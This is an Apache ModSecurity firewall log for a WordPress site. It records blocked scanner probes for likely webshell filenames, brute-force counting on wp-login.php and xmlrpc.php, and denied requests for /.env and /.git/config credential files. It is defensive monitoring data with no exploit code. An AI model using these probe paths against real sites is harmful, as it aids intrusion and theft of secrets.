[Sat Nov 15 01:12:02.799581 2025] [:error] [pid 45995:tid 46017] [client 4.205.91.17:65350] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "aRdi4sfhZrb6EV4SvFu8cQAAAhE"]
[Sat Nov 15 01:12:03.295206 2025] [:error] [pid 45907:tid 45935] [client 4.205.91.17:65388] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "aRdi41AqmYxCpnT9gJF-9QAAAVg"]
[Sat Nov 15 01:12:03.770880 2025] [:error] [pid 45908:tid 45959] [client 4.205.91.17:62051] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "aRdi42WG19mWwZX7KatdqgAAABU"]
[Sat Nov 15 01:12:04.265347 2025] [:error] [pid 18513:tid 18537] [client 4.205.91.17:62025] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "aRdi5Pc94upQFzRWlUm97gAAAFM"]
[Sat Nov 15 01:12:04.741383 2025] [:error] [pid 45995:tid 46019] [client 4.205.91.17:62774] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "aRdi5MfhZrb6EV4SvFu8dQAAAhM"]
[Sat Nov 15 01:12:05.196694 2025] [:error] [pid 45995:tid 46001] [client 4.205.91.17:64752] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "aRdi5cfhZrb6EV4SvFu8dgAAAgE"]
[Sat Nov 15 01:12:05.625862 2025] [:error] [pid 45908:tid 45943] [client 4.205.91.17:61694] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "aRdi5WWG19mWwZX7KatdsAAAAAU"]
[Sat Nov 15 01:12:06.088564 2025] [:error] [pid 45907:tid 45912] [client 4.205.91.17:64678] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "aRdi5lAqmYxCpnT9gJF--AAAAUE"]
[Sat Nov 15 01:12:06.530030 2025] [:error] [pid 45908:tid 45944] [client 4.205.91.17:62815] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "aRdi5mWG19mWwZX7KatdsgAAAAY"]
[Sat Nov 15 01:12:06.959998 2025] [:error] [pid 45995:tid 46005] [client 4.205.91.17:65325] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "aRdi5sfhZrb6EV4SvFu8egAAAgU"]
[Sat Nov 15 01:12:07.417171 2025] [:error] [pid 45908:tid 45952] [client 4.205.91.17:65407] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "aRdi52WG19mWwZX7KatdswAAAA4"]
[Sat Nov 15 01:12:07.878005 2025] [:error] [pid 45908:tid 45958] [client 4.205.91.17:64760] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "aRdi52WG19mWwZX7KatdtAAAABQ"]
[Sat Nov 15 01:12:08.323500 2025] [:error] [pid 18513:tid 18519] [client 4.205.91.17:60937] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "aRdi6Pc94upQFzRWlUm99wAAAEE"]
[Sat Nov 15 01:12:08.743523 2025] [:error] [pid 18513:tid 18520] [client 4.205.91.17:64657] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "aRdi6Pc94upQFzRWlUm9-gAAAEI"]
[Sat Nov 15 01:12:09.176325 2025] [:error] [pid 18513:tid 18528] [client 4.205.91.17:62836] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thai.php"] [unique_id "aRdi6fc94upQFzRWlUm9-wAAAEo"]
[Sat Nov 15 01:12:09.606201 2025] [:error] [pid 45995:tid 46014] [client 4.205.91.17:62802] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thai.php"] [unique_id "aRdi6cfhZrb6EV4SvFu8fAAAAg4"]
[Sat Nov 15 01:12:10.100680 2025] [:error] [pid 18513:tid 18536] [client 4.205.91.17:64733] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thai.php"] [unique_id "aRdi6vc94upQFzRWlUm9_gAAAFI"]
[Sat Nov 15 01:12:10.521700 2025] [:error] [pid 18513:tid 18529] [client 4.205.91.17:62837] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thai.php"] [unique_id "aRdi6vc94upQFzRWlUm9_wAAAEs"]
[Sat Nov 15 01:25:34.140227 2025] [:error] [pid 45909:tid 45972] [client 118.139.181.252:28936] [client 118.139.181.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 118.139.181.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRdmDsZqItrYybG86kiWugAAAcc"]
[Sat Nov 15 01:25:35.836003 2025] [:error] [pid 45909:tid 45971] [client 118.139.181.252:28936] [client 118.139.181.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 118.139.181.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRdmD8ZqItrYybG86kiWwAAAAcY"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 15 01:51:18.251057 2025] [:error] [pid 18513:tid 18538] [client 103.57.240.72:27646] [client 103.57.240.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.57.240.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRdsFvc94upQFzRWlUnTxQAAAFQ"]
[Sat Nov 15 02:38:35.880367 2025] [:error] [pid 45909:tid 45984] [client 18.176.58.224:47072] [client 18.176.58.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRd3K8ZqItrYybG86kiwnAAAAdM"]
[Sat Nov 15 02:48:05.410499 2025] [:error] [pid 45908:tid 45938] [client 15.228.73.244:58800] [client 15.228.73.244] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRd5ZWWG19mWwZX7KauATwAAAAA"]
[Sat Nov 15 03:37:19.748158 2025] [:error] [pid 44436:tid 44462] [client 8.218.137.248:40992] [client 8.218.137.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.218.137.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aReE7zUs0t-jxzSR5Sg-tAAAABI"]
[Sat Nov 15 03:37:23.899944 2025] [:error] [pid 44436:tid 44460] [client 8.218.137.248:40992] [client 8.218.137.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.218.137.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aReE8zUs0t-jxzSR5Sg-tQAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 15 04:16:00.496900 2025] [:error] [pid 27910:tid 27951] [client 62.60.130.210:51505] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aReOAI6e1LusHMYkS7Y1-AAAAEo"], referer: https://www.bing.com/
[Sat Nov 15 04:16:02.178047 2025] [:error] [pid 27910:tid 27947] [client 62.60.130.210:51505] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aReOAo6e1LusHMYkS7Y1-gAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 15 04:16:08.946852 2025] [:error] [pid 27910:tid 27952] [client 62.60.130.210:51505] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aReOCI6e1LusHMYkS7Y2DQAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 15 04:16:13.266481 2025] [:error] [pid 27910:tid 27947] [client 62.60.130.210:51505] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aReODY6e1LusHMYkS7Y2FAAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 15 05:29:33.209104 2025] [:error] [pid 27911:tid 27975] [client 67.205.23.222:48712] [client 67.205.23.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.23.222, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRefPcGzUdrhGBIfiKS7KgAAAIc"]
[Sat Nov 15 07:28:14.906219 2025] [:error] [pid 27911:tid 27971] [client 68.65.122.230:60698] [client 68.65.122.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.122.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRe7DsGzUdrhGBIfiKTjOgAAAIM"]
[Sat Nov 15 07:28:19.007192 2025] [:error] [pid 27911:tid 27989] [client 68.65.122.230:60698] [client 68.65.122.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.122.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRe7E8GzUdrhGBIfiKTjQQAAAJU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 15 09:43:01.487986 2025] [:error] [pid 19961:tid 20003] [client 178.20.42.24:60493] [client 178.20.42.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.20.42.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRfapTar7Si-84EApVQdOwAAAco"]
[Sat Nov 15 12:09:25.992581 2025] [:error] [pid 20346:tid 20354] [client 138.197.23.42:64494] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRf89Z7hsydZdIoVTlvM7gAAAwU"]
[Sat Nov 15 12:09:26.415152 2025] [:error] [pid 22613:tid 22631] [client 138.197.23.42:64648] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRf89ioyR3cDsIRGPRl8VQAAAhA"]
[Sat Nov 15 12:09:26.841269 2025] [:error] [pid 20654:tid 20661] [client 138.197.23.42:64802] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRf89ncS7eC8vO76_ydtkgAAA4Q"]
[Sat Nov 15 12:09:27.255883 2025] [:error] [pid 22613:tid 22629] [client 138.197.23.42:64954] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRf89yoyR3cDsIRGPRl8XAAAAg4"]
[Sat Nov 15 12:09:27.683390 2025] [:error] [pid 22765:tid 22768] [client 138.197.23.42:65125] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRf896brQzjuZmPIWDafOAAAAoA"]
[Sat Nov 15 12:35:35.341631 2025] [:error] [pid 27997:tid 28005] [client 113.219.218.197:42038] [client 113.219.218.197] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRgDF9pja_6cDxKbxFmTlQAAAMY"]
[Sat Nov 15 14:03:41.076433 2025] [:error] [pid 19961:tid 19994] [client 198.54.114.23:54882] [client 198.54.114.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRgXvTar7Si-84EApVRJHgAAAcE"]
[Sat Nov 15 14:18:03.185775 2025] [:error] [pid 20346:tid 20371] [client 152.53.211.118:33918] [client 152.53.211.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.211.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRgbG57hsydZdIoVTlvwqQAAAxY"]
[Sat Nov 15 16:32:39.198908 2025] [:error] [pid 20654:tid 20681] [client 43.135.185.59:53040] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRg6p3cS7eC8vO76_yfDbAAAA5g"]
[Sat Nov 15 17:11:08.898985 2025] [:error] [pid 20313:tid 20329] [client 49.51.252.146:46408] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRhDrBI9DXIgPadBLUaAhgAAAs0"]
[Sat Nov 15 20:13:18.558516 2025] [:error] [pid 22765:tid 22770] [client 183.90.183.15:46922] [client 183.90.183.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 183.90.183.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRhuXqbrQzjuZmPIWDb8lwAAAoI"]
[Sat Nov 15 20:16:33.230427 2025] [:error] [pid 27911:tid 27985] [client 45.138.16.215:58309] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "aRhvIcGzUdrhGBIfiKR0oAAAAJE"]
[Sat Nov 15 20:16:33.782724 2025] [:error] [pid 27911:tid 27973] [client 45.138.16.215:58427] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/postnews.php"] [unique_id "aRhvIcGzUdrhGBIfiKR0owAAAIU"]
[Sat Nov 15 20:16:34.377321 2025] [:error] [pid 20654:tid 20667] [client 45.138.16.215:58528] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/postnews.php"] [unique_id "aRhvIncS7eC8vO76_ycGnwAAA4o"]
[Sat Nov 15 20:26:26.952409 2025] [:error] [pid 27911:tid 27973] [client 45.134.79.103:63649] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRhxcsGzUdrhGBIfiKR16gAAAIU"]
[Sat Nov 15 20:26:27.597579 2025] [:error] [pid 19959:tid 19990] [client 45.134.79.103:63938] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRhxc8jejiTUP1-IawPtvAAAAZg"]
[Sat Nov 15 20:26:28.237099 2025] [:error] [pid 19959:tid 19978] [client 45.134.79.103:64155] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRhxdMjejiTUP1-IawPtvQAAAYw"]
[Sat Nov 15 20:29:30.289878 2025] [:error] [pid 20654:tid 20671] [client 20.199.41.85:52428] [client 20.199.41.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aRhyKncS7eC8vO76_ycJ7wAAA44"]
[Sat Nov 15 21:17:36.460314 2025] [:error] [pid 27911:tid 27985] [client 193.36.224.17:34397] [client 193.36.224.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "aRh9cMGzUdrhGBIfiKR9FgAAAJE"]
[Sat Nov 15 21:17:37.940260 2025] [:error] [pid 20346:tid 20355] [client 104.234.19.18:40507] [client 104.234.19.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/txets.php"] [unique_id "aRh9cZ7hsydZdIoVTltW4gAAAwY"]
[Sat Nov 15 21:17:38.418613 2025] [:error] [pid 27909:tid 27914] [client 136.144.19.193:60301] [client 136.144.19.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/txets.php"] [unique_id "aRh9ciTfZ6B57n8HepVEGQAAAAE"]
